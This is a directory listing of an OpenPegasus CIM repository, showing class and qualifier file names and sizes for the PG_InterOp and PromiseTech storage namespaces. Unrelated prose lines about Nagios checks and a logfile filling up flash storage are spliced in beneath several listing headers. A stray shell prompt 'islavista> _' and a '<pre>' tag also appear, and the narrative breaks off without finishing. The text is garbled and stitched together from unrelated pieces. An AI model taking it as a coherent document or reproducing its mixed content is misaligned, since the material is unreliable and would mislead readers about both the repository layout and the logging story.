-rw-r--r-- 1 root root  2694 Jan  1  1970 PG_ProviderCapabilities.PG_CapabilitiesRegistration
-rw-r--r-- 1 root root  2599 Jan  1  1970 PG_Provider.CIM_LogicalElement
-rw-r--r-- 1 root root  3765 Jan  1  1970 PG_ProviderModule.CIM_LogicalElement
-rw-r--r-- 1 root root  1184 Jan  1  1970 PG_ProviderModuleElements.CIM_Dependency


part3/pegasus/repository/root#PG_InterOp/instances:
So, your Nagios checks the webserver every 5 minutes, every hour of the day, every day of the week, etc., and every time there are a couple of lines appended to the logfile, because you want to be in control an see each and any issue in you code.
total 531
-rw-r--r-- 1 root root  14417 Jan  1  1970 PG_ProviderCapabilities.idx
-rw-r--r-- 1 root root 265773 Jan  1  1970 PG_ProviderCapabilities.instances
-rw-r--r-- 1 root root  10825 Jan  1  1970 PG_Provider.idx
-rw-r--r-- 1 root root 246573 Jan  1  1970 PG_Provider.instances
-rw-r--r-- 1 root root    74 Jan  1  1970 PG_ProviderModule.idx
-rw-r--r-- 1 root root  3843 Jan  1  1970 PG_ProviderModule.instances


part3/pegasus/repository/root#PG_InterOp/qualifiers:
Now what would you think will happen if that logfile gets so big that there is no space left on that flash?
total 31
-rw-r--r-- 1 root root 178 Jan  1  1970 Abstract
-rw-r--r-- 1 root root 147 Jan  1  1970 Aggregate
-rw-r--r-- 1 root root 151 Jan  1  1970 Aggregation
-rw-r--r-- 1 root root 151 Jan  1  1970 Alias
-rw-r--r-- 1 root root 160 Jan  1  1970 ArrayType
-rw-r--r-- 1 root root 151 Jan  1  1970 ASSOCIATION
-rw-r--r-- 1 root root 147 Jan  1  1970 BitMap
-rw-r--r-- 1 root root 170 Jan  1  1970 BitValues
-rw-r--r-- 1 root root 154 Jan  1  1970 CLASS
-rw-r--r-- 1 root root 151 Jan  1  1970 Composition
-rw-r--r-- 1 root root 155 Jan  1  1970 Counter
-rw-r--r-- 1 root root 143 Jan  1  1970 Delete
-rw-r--r-- 1 root root 237 Jan  1  1970 Deprecated
-rw-r--r-- 1 root root 224 Jan  1  1970 Description
-rw-r--r-- 1 root root 224 Jan  1  1970 DisplayName
-rw-r--r-- 1 root root 170 Jan  1  1970 DN
-rw-r--r-- 1 root root 182 Jan  1  1970 EmbeddedObject
-rw-r--r-- 1 root root 179 Jan  1  1970 Exception
-rw-r--r-- 1 root root 224 Jan  1  1970 Expensive
-rw-r--r-- 1 root root 246 Jan  1  1970 Experimental
-rw-r--r-- 1 root root 153 Jan  1  1970 Gauge
-rw-r--r-- 1 root root 146 Jan  1  1970 Ifdeleted
-rw-r--r-- 1 root root 139 Jan  1  1970 In
-rw-r--r-- 1 root root 162 Jan  1  1970 INDICATION
-rw-r--r-- 1 root root 189 Jan  1  1970 Invisible
-rw-r--r-- 1 root root 157 Jan  1  1970 Key
-rw-r--r-- 1 root root 135 Jan  1  1970 Large
-rw-r--r-- 1 root root 222 Jan  1  1970 MappingStrings
-rw-r--r-- 1 root root  99 Jan  1  1970 Max
-rw-r--r-- 1 root root 132 Jan  1  1970 MaxLen
-rw-r--r-- 1 root root 134 Jan  1  1970 MaxValue
-rw-r--r-- 1 root root 116 Jan  1  1970 Min
-rw-r--r-- 1 root root 149 Jan  1  1970 MinLen
-rw-r--r-- 1 root root 134 Jan  1  1970 MinValue
-rw-r--r-- 1 root root 227 Jan  1  1970 ModelCorrespondence
-rw-r--r-- 1 root root 104 Jan  1  1970 Nonlocal
-rw-r--r-- 1 root root 108 Jan  1  1970 NonlocalType
-rw-r--r-- 1 root root 124 Jan  1  1970 NullValue
-rw-r--r-- 1 root root 179 Jan  1  1970 Octetstring
-rw-r--r-- 1 root root 141 Jan  1  1970 Out
-rw-r--r-- 1 root root 154 Jan  1  1970 Override
-rw-r--r-- 1 root root 125 Jan  1  1970 Propagated
-rw-r--r-- 1 root root 138 Jan  1  1970 PropertyUsage
-rw-r--r-- 1 root root 201 Jan  1  1970 Provider
-rw-r--r-- 1 root root 120 Jan  1  1970 Read
-rw-r--r-- 1 root root 179 Jan  1  1970 Required
-rw-r--r-- 1 root root 157 Jan  1  1970 Revision
-rw-r--r-- 1 root root 135 Jan  1  1970 Source
-rw-r--r-- 1 root root 156 Jan  1  1970 SourceType
-rw-r--r-- 1 root root 157 Jan  1  1970 Static
-rw-r--r-- 1 root root 149 Jan  1  1970 Syntax
-rw-r--r-- 1 root root 153 Jan  1  1970 SyntaxType
-rw-r--r-- 1 root root 159 Jan  1  1970 Terminal
-rw-r--r-- 1 root root 187 Jan  1  1970 TriggerType
-rw-r--r-- 1 root root 151 Jan  1  1970 Units
-rw-r--r-- 1 root root 143 Jan  1  1970 UnknownValues
-rw-r--r-- 1 root root 147 Jan  1  1970 UnsupportedValues
-rw-r--r-- 1 root root 149 Jan  1  1970 ValueMap
-rw-r--r-- 1 root root 167 Jan  1  1970 Values
-rw-r--r-- 1 root root 175 Jan  1  1970 Version
-rw-r--r-- 1 root root 160 Jan  1  1970 Weak
-rw-r--r-- 1 root root 122 Jan  1  1970 Write


part3/pegasus/repository/root#PromiseTech:
I can tell you what will happen:
total 14
<pre>
drwxr-xr-x 1 root root 11352 Jan  1  1970 classes
islavista> _
drwxr-xr-x 1 root root    0 Jan  1  1970 instances
drwxr-xr-x 1 root root  1352 Jan  1  1970 qualifiers
 
part3/pegasus/repository/root#PromiseTech/classes:
total 1523
-rw-r--r-- 1 root root 10468 Jan  1  1970 associations
-rw-r--r-- 1 root root 13408 Jan  1  1970 CIM_AlarmDevice.CIM_LogicalDevice
-rw-r--r-- 1 root root  5545 Jan  1  1970 CIM_AlertIndication.CIM_ProcessIndication
-rw-r--r-- 1 root root  1454 Jan  1  1970 CIM_AllocatedFromStoragePool.CIM_Dependency
-rw-r--r-- 1 root root  1204 Jan  1  1970 CIM_BasedOn.CIM_Dependency
-rw-r--r-- 1 root root 14895 Jan  1  1970 CIM_Battery.CIM_LogicalDevice
-rw-r--r-- 1 root root  964 Jan  1  1970 CIM_BindsTo.CIM_SAPSAPDependency
-rw-r--r-- 1 root root  4623 Jan  1  1970 CIM_BlockStorageStatisticalData.CIM_StatisticalData
-rw-r--r-- 1 root root  1133 Jan  1  1970 CIM_Capabilities.CIM_ManagedElement
-rw-r--r-- 1 root root 12594 Jan  1  1970 CIM_Chassis.CIM_PhysicalFrame
-rw-r--r-- 1 root root  674 Jan  1  1970 CIM_Collection.CIM_ManagedElement
-rw-r--r-- 1 root root  985 Jan  1  1970 CIM_Component.#
-rw-r--r-- 1 root root  1270 Jan  1  1970 CIM_ComponentCS.CIM_SystemComponent
-rw-r--r-- 1 root root  8750 Jan  1  1970 CIM_ComputerSystem.CIM_System
-rw-r--r-- 1 root root  1171 Jan  1  1970 CIM_ConcreteComponent.CIM_Component
-rw-r--r-- 1 root root  963 Jan  1  1970 CIM_ConcreteDependency.CIM_Dependency
-rw-r--r-- 1 root root  5812 Jan  1  1970 CIM_ConcreteJob.CIM_Job
-rw-r--r-- 1 root root  827 Jan  1  1970 CIM_Configuration.CIM_ManagedElement
-rw-r--r-- 1 root root 13097 Jan  1  1970 CIM_Controller.CIM_LogicalDevice
-rw-r--r-- 1 root root 14440 Jan  1  1970 CIM_ControllerConfigurationService.CIM_Service
-rw-r--r-- 1 root root 11830 Jan  1  1970 CIM_CoolingDevice.CIM_LogicalDevice
-rw-r--r-- 1 root root  784 Jan  1  1970 CIM_Dependency.#
-rw-r--r-- 1 root root 17154 Jan  1  1970 CIM_DiskDrive.CIM_MediaAccessDevice
-rw-r--r-- 1 root root  855 Jan  1  1970 CIM_ElementCapabilities.#
-rw-r--r-- 1 root root  903 Jan  1  1970 CIM_ElementSettingData.#
-rw-r--r-- 1 root root  860 Jan  1  1970 CIM_ElementStatisticalData.#
-rw-r--r-- 1 root root  4249 Jan  1  1970 CIM_EnabledLogicalElement.CIM_LogicalElement
-rw-r--r-- 1 root root  1403 Jan  1  1970 CIM_EndpointOfNetworkPipe.CIM_Dependency
-rw-r--r-- 1 root root 17285 Jan  1  1970 CIM_EthernetPort.CIM_NetworkPort
-rw-r--r-- 1 root root  2905 Jan  1  1970 CIM_ExtraCapacityGroup.CIM_RedundancyGroup
-rw-r--r-- 1 root root 12309 Jan  1  1970 CIM_Fan.CIM_CoolingDevice
-rw-r--r-- 1 root root 16116 Jan  1  1970 CIM_FCPort.CIM_NetworkPort
-rw-r--r-- 1 root root 13487 Jan  1  1970 CIM_FCPortStatistics.CIM_NetworkPortStatistics
-rw-r--r-- 1 root root  7015 Jan  1  1970 CIM_FibreProtocolService.CIM_Service
-rw-r--r-- 1 root root  2383 Jan  1  1970 CIM_FRU.CIM_ManagedElement
-rw-r--r-- 1 root root  1208 Jan  1  1970 CIM_HostedAccessPoint.CIM_HostedDependency
-rw-r--r-- 1 root root  1028 Jan  1  1970 CIM_HostedDependency.CIM_Dependency
-rw-r--r-- 1 root root  1193 Jan  1  1970 CIM_HostedService.CIM_HostedDependency
-rw-r--r-- 1 root root  1399 Jan  1  1970 CIM_HostedStoragePool.CIM_SystemComponent
-rw-r--r-- 1 root root  868 Jan  1  1970 CIM_Identity.CIM_ManagedElement
-rw-r--r-- 1 root root  949 Jan  1  1970 CIM_Indication.#
-rw-r--r-- 1 root root  732 Jan  1  1970 CIM_InstalledSoftwareIdentity.#
-rw-r--r-- 1 root root  6320 Jan  1  1970 CIM_iSCSIConnectionSettings.CIM_SettingData
-rw-r--r-- 1 root root  9974 Jan  1  1970 CIM_iSCSIProtocolEndpoint.CIM_SCSIProtocolEndpoint
-rw-r--r-- 1 root root 12062 Jan  1  1970 CIM_iSCSISession.CIM_NetworkPipe
-rw-r--r-- 1 root root  7679 Jan  1  1970 CIM_iSCSISessionSettings.CIM_SettingData
-rw-r--r-- 1 root root  3853 Jan  1  1970 CIM_iSCSISessionStatistics.CIM_StatisticalData
-rw-r--r-- 1 root root  1369 Jan  1  1970 CIM_IsSpare.CIM_Dependency
-rw-r--r-- 1 root root  5191 Jan  1  1970 CIM_Job.CIM_LogicalElement
-rw-r--r-- 1 root root 11409 Jan  1  1970 CIM_LogicalDevice.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  2225 Jan  1  1970 CIM_LogicalElement.CIM_ManagedSystemElement
-rw-r--r-- 1 root root 12597 Jan  1  1970 CIM_LogicalPort.CIM_LogicalDevice
-rw-r--r-- 1 root root  591 Jan  1  1970 CIM_ManagedElement.#
-rw-r--r-- 1 root root  2135 Jan  1  1970 CIM_ManagedSystemElement.CIM_ManagedElement
-rw-r--r-- 1 root root 16726 Jan  1  1970 CIM_MediaAccessDevice.CIM_LogicalDevice
-rw-r--r-- 1 root root  902 Jan  1  1970 CIM_MemberOfCollection.#
-rw-r--r-- 1 root root 21235 Jan  1  1970 CIM_Memory.CIM_StorageExtent
-rw-r--r-- 1 root root  5935 Jan  1  1970 CIM_NetworkPipe.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root 15149 Jan  1  1970 CIM_NetworkPort.CIM_LogicalPort
-rw-r--r-- 1 root root  2886 Jan  1  1970 CIM_NetworkPortStatistics.CIM_StatisticalData
-rw-r--r-- 1 root root 16911 Jan  1  1970 CIM_NumericSensor.CIM_Sensor
-rw-r--r-- 1 root root  9470 Jan  1  1970 CIM_PhysicalConnector.CIM_PhysicalElement
-rw-r--r-- 1 root root  5932 Jan  1  1970 CIM_PhysicalElement.CIM_ManagedSystemElement
-rw-r--r-- 1 root root  9987 Jan  1  1970 CIM_PhysicalFrame.CIM_PhysicalPackage
-rw-r--r-- 1 root root  8030 Jan  1  1970 CIM_PhysicalPackage.CIM_PhysicalElement
-rw-r--r-- 1 root root 15234 Jan  1  1970 CIM_PowerSupply.CIM_LogicalDevice
-rw-r--r-- 1 root root  2157 Jan  1  1970 CIM_Privilege.CIM_ManagedElement
-rw-r--r-- 1 root root  1039 Jan  1  1970 CIM_ProcessIndication.CIM_Indication
-rw-r--r-- 1 root root  3420 Jan  1  1970 CIM_Product.CIM_ManagedElement
-rw-r--r-- 1 root root 11939 Jan  1  1970 CIM_ProtocolController.CIM_LogicalDevice
-rw-r--r-- 1 root root  1386 Jan  1  1970 CIM_ProtocolControllerForDevice.CIM_Dependency
-rw-r--r-- 1 root root  1558 Jan  1  1970 CIM_ProtocolControllerForUnit.CIM_ProtocolControllerForDevice
-rw-r--r-- 1 root root  7748 Jan  1  1970 CIM_ProtocolEndpoint.CIM_ServiceAccessPoint
-rw-r--r-- 1 root root  953 Jan  1  1970 CIM_Realizes.CIM_Dependency
-rw-r--r-- 1 root root  2648 Jan  1  1970 CIM_RedundancyGroup.CIM_LogicalElement
-rw-r--r-- 1 root root  3278 Jan  1  1970 CIM_RedundancySet.CIM_SystemSpecificCollection
-rw-r--r-- 1 root root  6304 Jan  1  1970 CIM_RemoteServiceAccessPoint.CIM_ServiceAccessPoint
-rw-r--r-- 1 root root  969 Jan  1  1970 CIM_SAPSAPDependency.CIM_Dependency
-rw-r--r-- 1 root root 14389 Jan  1  1970 CIM_SCSIController.CIM_Controller
-rw-r--r-- 1 root root 12666 Jan  1  1970 CIM_SCSIProtocolController.CIM_ProtocolController
-rw-r--r-- 1 root root  9323 Jan  1  1970 CIM_SCSIProtocolEndpoint.CIM_ProtocolEndpoint
-rw-r--r-- 1 root root 12865 Jan  1  1970 CIM_Sensor.CIM_LogicalDevice
-rw-r--r-- 1 root root  5545 Jan  1  1970 CIM_ServiceAccessPoint.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  6931 Jan  1  1970 CIM_Service.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  1035 Jan  1  1970 CIM_SettingData.CIM_ManagedElement
-rw-r--r-- 1 root root  3908 Jan  1  1970 CIM_SoftwareIdentity.CIM_LogicalElement
-rw-r--r-- 1 root root  1053 Jan  1  1970 CIM_Spared.CIM_Dependency
-rw-r--r-- 1 root root 13809 Jan  1  1970 CIM_SPIPort.CIM_LogicalPort
-rw-r--r-- 1 root root  1599 Jan  1  1970 CIM_StatisticalData.CIM_ManagedElement
-rw-r--r-- 1 root root  4065 Jan  1  1970 CIM_StorageCapabilities.CIM_Capabilities
-rw-r--r-- 1 root root 17401 Jan  1  1970 CIM_StorageConfigurationService.CIM_Service
-rw-r--r-- 1 root root 16712 Jan  1  1970 CIM_StorageExtent.CIM_LogicalDevice
-rw-r--r-- 1 root root  1727 Jan  1  1970 CIM_StorageHardwareID.CIM_Identity
-rw-r--r-- 1 root root  5622 Jan  1  1970 CIM_StoragePool.CIM_LogicalElement
-rw-r--r-- 1 root root  4073 Jan  1  1970 CIM_StorageRedundancySet.CIM_RedundancySet
-rw-r--r-- 1 root root  2908 Jan  1  1970 CIM_StorageSetting.CIM_SettingData
-rw-r--r-- 1 root root  4967 Jan  1  1970 CIM_StorageSettingWithHints.CIM_StorageSetting
-rw-r--r-- 1 root root  1392 Jan  1  1970 CIM_StorageSynchronized.CIM_Synchronized
-rw-r--r-- 1 root root 16815 Jan  1  1970 CIM_StorageVolume.CIM_StorageExtent
-rw-r--r-- 1 root root  883 Jan  1  1970 CIM_Synchronized.#
-rw-r--r-- 1 root root  5826 Jan  1  1970 CIM_System.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  1167 Jan  1  1970 CIM_SystemComponent.CIM_Component
-rw-r--r-- 1 root root  1506 Jan  1  1970 CIM_SystemDevice.CIM_SystemComponent
-rw-r--r-- 1 root root  779 Jan  1  1970 CIM_SystemSpecificCollection.CIM_Collection
-rw-r--r-- 1 root root 21376 Jan  1  1970 CIM_TemperatureSensor.CIM_NumericSensor
-rw-r--r-- 1 root root 21982 Jan  1  1970 CIM_VolatileStorage.CIM_Memory
-rw-r--r-- 1 root root 13701 Jan  1  1970 PIV_AlarmDevice.CIM_AlarmDevice
-rw-r--r-- 1 root root  1506 Jan  1  1970 PIV_AutomatedConfigurationSetting.CIM_SettingData
-rw-r--r-- 1 root root 22317 Jan  1  1970 PIV_BackgroundActivityService.CIM_Service
-rw-r--r-- 1 root root  1406 Jan  1  1970 PIV_BasedOn.CIM_BasedOn
-rw-r--r-- 1 root root 16633 Jan  1  1970 PIV_Battery.CIM_Battery
-rw-r--r-- 1 root root  6071 Jan  1  1970 PIV_BlockStorageStatisticalData.CIM_BlockStorageStatisticalData
-rw-r--r-- 1 root root 12182 Jan  1  1970 PIV_Blower.CIM_CoolingDevice
-rw-r--r-- 1 root root  1166 Jan  1  1970 PIV_Capabilities.CIM_Capabilities
-rw-r--r-- 1 root root  1436 Jan  1  1970 PIV_ComponentCS.CIM_ComponentCS
-rw-r--r-- 1 root root 17574 Jan  1  1970 PIV_ComponentStorageExtent.PIV_StorageExtent
-rw-r--r-- 1 root root 14755 Jan  1  1970 PIV_Controller.CIM_ComputerSystem
-rw-r--r-- 1 root root  1045 Jan  1  1970 PIV_ControllerElementStatisticalData.CIM_ElementStatisticalData
-rw-r--r-- 1 root root  3967 Jan  1  1970 PIV_ControllerSetting.CIM_SettingData
-rw-r--r-- 1 root root  6177 Jan  1  1970 PIV_ControllerStatisticalData.PIV_BlockStorageStatisticalData
-rw-r--r-- 1 root root 20262 Jan  1  1970 PIV_DiskDrive.CIM_DiskDrive
-rw-r--r-- 1 root root  1073 Jan  1  1970 PIV_DiskDriveSetting.CIM_SettingData
-rw-r--r-- 1 root root 16057 Jan  1  1970 PIV_Enclosure.CIM_Chassis
-rw-r--r-- 1 root root  1584 Jan  1  1970 PIV_EndpointOfNetworkPipe.CIM_EndpointOfNetworkPipe
-rw-r--r-- 1 root root 11825 Jan  1  1970 PIV_ESP.CIM_LogicalDevice
-rw-r--r-- 1 root root 18986 Jan  1  1970 PIV_EthernetPort.CIM_EthernetPort
-rw-r--r-- 1 root root  1865 Jan  1  1970 PIV_EthernetPortSettings.CIM_SettingData
-rw-r--r-- 1 root root  6607 Jan  1  1970 PIV_Event.CIM_AlertIndication
-rw-r--r-- 1 root root 12682 Jan  1  1970 PIV_Fan.CIM_Fan
-rw-r--r-- 1 root root  1283 Jan  1  1970 PIV_FCCapabilities.PIV_Capabilities
-rw-r--r-- 1 root root 18578 Jan  1  1970 PIV_FCPort.CIM_FCPort
-rw-r--r-- 1 root root  1041 Jan  1  1970 PIV_FCPortElementStatisticalData.CIM_ElementStatisticalData
-rw-r--r-- 1 root root 10649 Jan  1  1970 PIV_FCPortPhysicalConnector.CIM_PhysicalConnector
-rw-r--r-- 1 root root 14528 Jan  1  1970 PIV_FCPortStatistics.CIM_FCPortStatistics
-rw-r--r-- 1 root root  7649 Jan  1  1970 PIV_FCService.CIM_FibreProtocolService
-rw-r--r-- 1 root root  6607 Jan  1  1970 PIV_FRU.CIM_PhysicalElement
-rw-r--r-- 1 root root  1196 Jan  1  1970 PIV_HostedFCService.PIV_HostedService
-rw-r--r-- 1 root root  1198 Jan  1  1970 PIV_HostedLMMService.PIV_HostedService
-rw-r--r-- 1 root root  1225 Jan  1  1970 PIV_HostedService.CIM_HostedService
-rw-r--r-- 1 root root  1232 Jan  1  1970 PIV_HostedStorageConfigurationService.PIV_HostedService
-rw-r--r-- 1 root root 17496 Jan  1  1970 PIV_IntermediateStorageExtent.PIV_StorageExtent
-rw-r--r-- 1 root root  2434 Jan  1  1970 PIV_iSCSICapabilities.PIV_Capabilities
-rw-r--r-- 1 root root  6703 Jan  1  1970 PIV_iSCSIConnectionSettings.CIM_iSCSIConnectionSettings
-rw-r--r-- 1 root root  1124 Jan  1  1970 PIV_iSCSIEthernetPortElementSettingData.CIM_ElementSettingData
-rw-r--r-- 1 root root 20119 Jan  1  1970 PIV_iSCSIEthernetPort.PIV_EthernetPort
-rw-r--r-- 1 root root  2023 Jan  1  1970 PIV_iSCSIEthernetPortSettings.PIV_EthernetPortSettings
-rw-r--r-- 1 root root  1348 Jan  1  1970 PIV_iSCSIHostedAccessPoint.CIM_HostedAccessPoint
-rw-r--r-- 1 root root 15107 Jan  1  1970 PIV_iSCSINode.CIM_SCSIProtocolController
-rw-r--r-- 1 root root  1116 Jan  1  1970 PIV_iSCSINodeElementSettingData.CIM_ElementSettingData
-rw-r--r-- 1 root root  8620 Jan  1  1970 PIV_iSCSINodeSessionSettings.CIM_iSCSISessionSettings
-rw-r--r-- 1 root root  1044 Jan  1  1970 PIV_iSCSIPortElementStatisticalData.CIM_ElementStatisticalData
-rw-r--r-- 1 root root  1113 Jan  1  1970 PIV_iSCSIPortiSNSElementInfo.CIM_ElementSettingData
-rw-r--r-- 1 root root  1120 Jan  1  1970 PIV_iSCSIPortiSNSElementSettingData.CIM_ElementSettingData
-rw-r--r-- 1 root root  1646 Jan  1  1970 PIV_iSCSIPortiSNSInfo.CIM_SettingData
-rw-r--r-- 1 root root  1471 Jan  1  1970 PIV_iSCSIPortiSNSSettings.CIM_SettingData
-rw-r--r-- 1 root root  1112 Jan  1  1970 PIV_iSCSIPortSLPElementInfo.CIM_ElementSettingData
-rw-r--r-- 1 root root  1119 Jan  1  1970 PIV_iSCSIPortSLPElementSettingData.CIM_ElementSettingData
-rw-r--r-- 1 root root  1529 Jan  1  1970 PIV_iSCSIPortSLPInfo.CIM_SettingData
-rw-r--r-- 1 root root  1553 Jan  1  1970 PIV_iSCSIPortSLPSettings.CIM_SettingData
-rw-r--r-- 1 root root  8322 Jan  1  1970 PIV_iSCSIPortStatistics.CIM_iSCSISessionStatistics
-rw-r--r-- 1 root root 10215 Jan  1  1970 PIV_iSCSIProtocolEndpoint.CIM_iSCSIProtocolEndpoint
-rw-r--r-- 1 root root  1128 Jan  1  1970 PIV_iSCSIProtocolEndpointElementSettingData.CIM_ElementSettingData
-rw-r--r-- 1 root root 14089 Jan  1  1970 PIV_iSCSISession.CIM_iSCSISession
-rw-r--r-- 1 root root  1047 Jan  1  1970 PIV_iSCSISessionElementStatisticalData.CIM_ElementStatisticalData
-rw-r--r-- 1 root root  8807 Jan  1  1970 PIV_iSCSISessionStatistics.CIM_iSCSISessionStatistics
-rw-r--r-- 1 root root  1951 Jan  1  1970 PIV_IsSpare.CIM_IsSpare
-rw-r--r-- 1 root root  1962 Jan  1  1970 PIV_LMMInitiator.CIM_StorageHardwareID
-rw-r--r-- 1 root root 12891 Jan  1  1970 PIV_LMMProtocolController.CIM_SCSIProtocolController
-rw-r--r-- 1 root root  1812 Jan  1  1970 PIV_LMMProtocolControllerForUnit.CIM_ProtocolControllerForUnit
-rw-r--r-- 1 root root 15587 Jan  1  1970 PIV_LMMService.CIM_ControllerConfigurationService
-rw-r--r-- 1 root root  1129 Jan  1  1970 PIV_ManagementEthernetPortElementSettingData.CIM_ElementSettingData
-rw-r--r-- 1 root root 19266 Jan  1  1970 PIV_ManagementEthernetPort.PIV_EthernetPort
-rw-r--r-- 1 root root  2028 Jan  1  1970 PIV_ManagementEthernetPortSettings.PIV_EthernetPortSettings
-rw-r--r-- 1 root root 15713 Jan  1  1970 PIV_PowerSupply.CIM_PowerSupply
-rw-r--r-- 1 root root 17280 Jan  1  1970 PIV_PrimordialStorageExtent.PIV_StorageExtent
-rw-r--r-- 1 root root  3285 Jan  1  1970 PIV_RAIDCapabilities.PIV_Capabilities
-rw-r--r-- 1 root root  1056 Jan  1  1970 PIV_RealizesFCPort.CIM_Realizes
-rw-r--r-- 1 root root 17626 Jan  1  1970 PIV_RemainingStorageExtent.PIV_StorageExtent
-rw-r--r-- 1 root root  1219 Jan  1  1970 PIV_SASConnection.CIM_HostedDependency
-rw-r--r-- 1 root root 22484 Jan  1  1970 PIV_SASDiskDrive.PIV_DiskDrive
-rw-r--r-- 1 root root  1884 Jan  1  1970 PIV_SASDiskDriveSetting.PIV_DiskDriveSetting
-rw-r--r-- 1 root root 12325 Jan  1  1970 PIV_SASEnclosure.CIM_LogicalDevice
-rw-r--r-- 1 root root 12235 Jan  1  1970 PIV_SASEnclosureExpander.CIM_LogicalDevice
-rw-r--r-- 1 root root  1030 Jan  1  1970 PIV_SASEnclosureOnSystem.CIM_HostedDependency
-rw-r--r-- 1 root root  1043 Jan  1  1970 PIV_SASExpanderOnEnclosure.CIM_HostedDependency
-rw-r--r-- 1 root root 12390 Jan  1  1970 PIV_SASExpanderPort.CIM_LogicalDevice
-rw-r--r-- 1 root root  1041 Jan  1  1970 PIV_SASPortOnExpander.CIM_HostedDependency
-rw-r--r-- 1 root root 21996 Jan  1  1970 PIV_SATADiskDrive.PIV_DiskDrive
-rw-r--r-- 1 root root  1484 Jan  1  1970 PIV_SATADiskDriveSetting.PIV_DiskDriveSetting
-rw-r--r-- 1 root root  1347 Jan  1  1970 PIV_SCSIHostedAccessPoint.CIM_HostedAccessPoint
-rw-r--r-- 1 root root  9817 Jan  1  1970 PIV_SCSIProtocolEndpoint.CIM_SCSIProtocolEndpoint
-rw-r--r-- 1 root root  4494 Jan  1  1970 PIV_SoftwareIdentity.CIM_SoftwareIdentity
-rw-r--r-- 1 root root  1346 Jan  1  1970 PIV_SpareSetting.CIM_SettingData
-rw-r--r-- 1 root root 17810 Jan  1  1970 PIV_SpareStorageExtent.PIV_StorageExtent
-rw-r--r-- 1 root root 15524 Jan  1  1970 PIV_SPIPort.CIM_SPIPort
-rw-r--r-- 1 root root 20907 Jan  1  1970 PIV_StorageConfigurationService.CIM_StorageConfigurationService
-rw-r--r-- 1 root root 17252 Jan  1  1970 PIV_StorageExtent.CIM_StorageExtent
-rw-r--r-- 1 root root  1048 Jan  1  1970 PIV_StorageExtentElementStatisticalData.CIM_ElementStatisticalData
-rw-r--r-- 1 root root  6180 Jan  1  1970 PIV_StorageExtentStatisticalData.PIV_BlockStorageStatisticalData
-rw-r--r-- 1 root root  7092 Jan  1  1970 PIV_StoragePool.CIM_StoragePool
-rw-r--r-- 1 root root  3089 Jan  1  1970 PIV_StoragePoolSetting.PIV_StorageSetting
-rw-r--r-- 1 root root  4112 Jan  1  1970 PIV_StorageRedundancySet.CIM_StorageRedundancySet
-rw-r--r-- 1 root root  3018 Jan  1  1970 PIV_StorageSetting.CIM_StorageSetting
-rw-r--r-- 1 root root 19631 Jan  1  1970 PIV_StorageVolume.CIM_StorageVolume
-rw-r--r-- 1 root root  1048 Jan  1  1970 PIV_StorageVolumeElementStatisticalData.CIM_ElementStatisticalData
-rw-r--r-- 1 root root  1387 Jan  1  1970 PIV_StorageVolumeMigrationSetting.CIM_SettingData
-rw-r--r-- 1 root root  3971 Jan  1  1970 PIV_StorageVolumeSetting.PIV_StorageSetting
-rw-r--r-- 1 root root  6180 Jan  1  1970 PIV_StorageVolumeStatisticalData.PIV_BlockStorageStatisticalData
-rw-r--r-- 1 root root 17274 Jan  1  1970 PIV_Subsystem.CIM_ComputerSystem
-rw-r--r-- 1 root root  1325 Jan  1  1970 PIV_SystemComponent.CIM_SystemComponent
-rw-r--r-- 1 root root  893 Jan  1  1970 PIV_SystemElementCapabilities.CIM_ElementCapabilities
-rw-r--r-- 1 root root  3451 Jan  1  1970 PIV_SystemFeatures.PIV_Capabilities
-rw-r--r-- 1 root root 17652 Jan  1  1970 PIV_TemperatureSensor.CIM_NumericSensor
-rw-r--r-- 1 root root  1038 Jan  1  1970 PIV_TransitionPhyDrvOfStoragePool.CIM_HostedDependency
-rw-r--r-- 1 root root 17734 Jan  1  1970 PIV_VoltageSensor.CIM_NumericSensor
 
part3/pegasus/repository/root#PromiseTech/instances:
total 0
 
part3/pegasus/repository/root#PromiseTech/qualifiers:
total 31
-rw-r--r-- 1 root root 178 Jan  1  1970 Abstract
-rw-r--r-- 1 root root 147 Jan  1  1970 Aggregate
-rw-r--r-- 1 root root 151 Jan  1  1970 Aggregation
-rw-r--r-- 1 root root 151 Jan  1  1970 Alias
-rw-r--r-- 1 root root 160 Jan  1  1970 ArrayType
-rw-r--r-- 1 root root 151 Jan  1  1970 ASSOCIATION
-rw-r--r-- 1 root root 147 Jan  1  1970 BitMap
-rw-r--r-- 1 root root 170 Jan  1  1970 BitValues
-rw-r--r-- 1 root root 154 Jan  1  1970 CLASS
-rw-r--r-- 1 root root 151 Jan  1  1970 Composition
-rw-r--r-- 1 root root 155 Jan  1  1970 Counter
-rw-r--r-- 1 root root 143 Jan  1  1970 Delete
-rw-r--r-- 1 root root 237 Jan  1  1970 Deprecated
-rw-r--r-- 1 root root 224 Jan  1  1970 Description
-rw-r--r-- 1 root root 224 Jan  1  1970 DisplayName
-rw-r--r-- 1 root root 170 Jan  1  1970 DN
-rw-r--r-- 1 root root 182 Jan  1  1970 EmbeddedObject
-rw-r--r-- 1 root root 179 Jan  1  1970 Exception
-rw-r--r-- 1 root root 224 Jan  1  1970 Expensive
-rw-r--r-- 1 root root 246 Jan  1  1970 Experimental
-rw-r--r-- 1 root root 153 Jan  1  1970 Gauge
-rw-r--r-- 1 root root 146 Jan  1  1970 Ifdeleted
-rw-r--r-- 1 root root 139 Jan  1  1970 In
-rw-r--r-- 1 root root 162 Jan  1  1970 INDICATION
-rw-r--r-- 1 root root 189 Jan  1  1970 Invisible
-rw-r--r-- 1 root root 157 Jan  1  1970 Key
-rw-r--r-- 1 root root 135 Jan  1  1970 Large
-rw-r--r-- 1 root root 222 Jan  1  1970 MappingStrings
-rw-r--r-- 1 root root  99 Jan  1  1970 Max
-rw-r--r-- 1 root root 132 Jan  1  1970 MaxLen
-rw-r--r-- 1 root root 134 Jan  1  1970 MaxValue
-rw-r--r-- 1 root root 116 Jan  1  1970 Min
-rw-r--r-- 1 root root 149 Jan  1  1970 MinLen
-rw-r--r-- 1 root root 134 Jan  1  1970 MinValue
-rw-r--r-- 1 root root 227 Jan  1  1970 ModelCorrespondence
-rw-r--r-- 1 root root 104 Jan  1  1970 Nonlocal
-rw-r--r-- 1 root root 108 Jan  1  1970 NonlocalType
-rw-r--r-- 1 root root 124 Jan  1  1970 NullValue
-rw-r--r-- 1 root root 179 Jan  1  1970 Octetstring
